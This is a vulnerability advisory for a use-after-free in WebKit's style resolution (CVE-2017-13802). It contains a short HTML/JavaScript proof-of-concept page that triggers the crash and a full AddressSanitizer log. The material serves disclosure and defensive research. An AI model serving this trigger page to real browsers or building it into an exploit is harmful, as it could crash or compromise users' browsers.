WebKit WebCore::Style::TreeResolver::styleForElement Use-After-Free

2017.11.22
Credit: ifratric
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

WebKit: use-after-free in WebCore::Style::TreeResolver::styleForElement CVE-2017-13802 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC: ================================================================= <script> function eventhandler1() { try { txt.appendChild(kg); } catch(e) { } } function eventhandler2() { try { anim.appendChild(kg); } catch(e) { } } function eventhandler3() { try { table.scrollIntoView(true); } catch(e) { } } </script> <table id="table"></table> <form> <keygen id="kg" autofocus="autofocus"> </form> <svg> <animate id="anim" attributeName="text-anchor" from="middle" to="inherit" onbegin="eventhandler1()" /> <text id="txt" onload="eventhandler3()"> <font color="white"></font> <select onfocus="eventhandler2()" autofocus="autofocus"> <textarea>a</textarea> <iframe onload="eventhandler1()"></iframe> ================================================================= ASan log: ================================================================= ==30588==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000077ec8 at pc 0x00010dfdcb30 bp 0x7fff56cdb5a0 sp 0x7fff56cdb598 READ of size 8 at 0x608000077ec8 thread T0 ==30588==WARNING: invalid path to external symbolizer! ==30588==WARNING: Failed to use and restart external symbolizer! #0 0x10dfdcb2f in WebCore::RenderStyle::NonInheritedFlags::getValue(unsigned long long, unsigned long long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x46b2f) #1 0x110ce1def in WebCore::Style::TreeResolver::parentBoxStyle() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bdef) #2 0x110ce1acc in WebCore::Style::TreeResolver::styleForElement(WebCore::Element&, WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bacc) #3 0x110ce1fc6 in WebCore::Style::TreeResolver::resolveElement(WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bfc6) #4 0x110ce3f76 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4df76) #5 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6) #6 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196) #7 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887) #8 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6) #9 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e) #10 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36) #11 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6) #12 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135) #13 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb) #14 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0) #15 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25) #16 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53) #17 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed) #18 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da) #19 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d) #20 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6) #21 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3) #22 0x108f2156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c) #23 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234) 0x608000077ec8 is located 40 bytes inside of 88-byte region [0x608000077ea0,0x608000077ef8) freed by thread T0 here: #0 0x10c6dc294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294) #1 0x11cb6c650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650) #2 0x110ce4081 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4e081) #3 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6) #4 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196) #5 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887) #6 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6) #7 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e) #8 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36) #9 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6) #10 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135) #11 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb) #12 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0) #13 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25) #14 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53) #15 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed) #16 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da) #17 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d) #18 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6) #19 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3) #20 0x108f2156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c) #21 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234) previously allocated by thread T0 here: #0 0x10c6dbd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c) #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281) #2 0x11cb6cad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4) #3 0x11cb6ad6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d) #4 0x11caf1247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247) #5 0x11caf063a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a) #6 0x1107568e8 in WebCore::RenderStyle::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c08e8) #7 0x1107943b9 in WebCore::RenderStyle::clonePtr(WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27fe3b9) #8 0x110794388 in WebCore::RenderStyle::createPtr() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27fe388) #9 0x110ca204d in WebCore::StyleResolver::styleForElement(WebCore::Element const&, WebCore::RenderStyle const*, WebCore::RenderStyle const*, WebCore::RuleMatchingBehavior, WebCore::RenderRegion const*, WebCore::SelectorFilter const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d0c04d) #10 0x110ce1afb in WebCore::Style::TreeResolver::styleForElement(WebCore::Element&, WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bafb) #11 0x110ce1fc6 in WebCore::Style::TreeResolver::resolveElement(WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bfc6) #12 0x110ce3f76 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4df76) #13 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6) #14 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196) #15 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887) #16 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6) #17 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e) #18 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36) #19 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6) #20 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135) #21 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb) #22 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0) #23 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25) #24 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53) #25 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed) #26 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da) #27 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d) #28 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6) #29 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3) SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x46b2f) in WebCore::RenderStyle::NonInheritedFlags::getValue(unsigned long long, unsigned long long) const Shadow bytes around the buggy address: 0x1c100000ef80: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x1c100000ef90: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x1c100000efa0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x1c100000efb0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x1c100000efc0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa =>0x1c100000efd0: fa fa fa fa fd fd fd fd fd[fd]fd fd fd fd fd fa 0x1c100000efe0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa 0x1c100000eff0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa 0x1c100000f000: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa 0x1c100000f010: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa 0x1c100000f020: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==30588==ABORTING This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: ifratric


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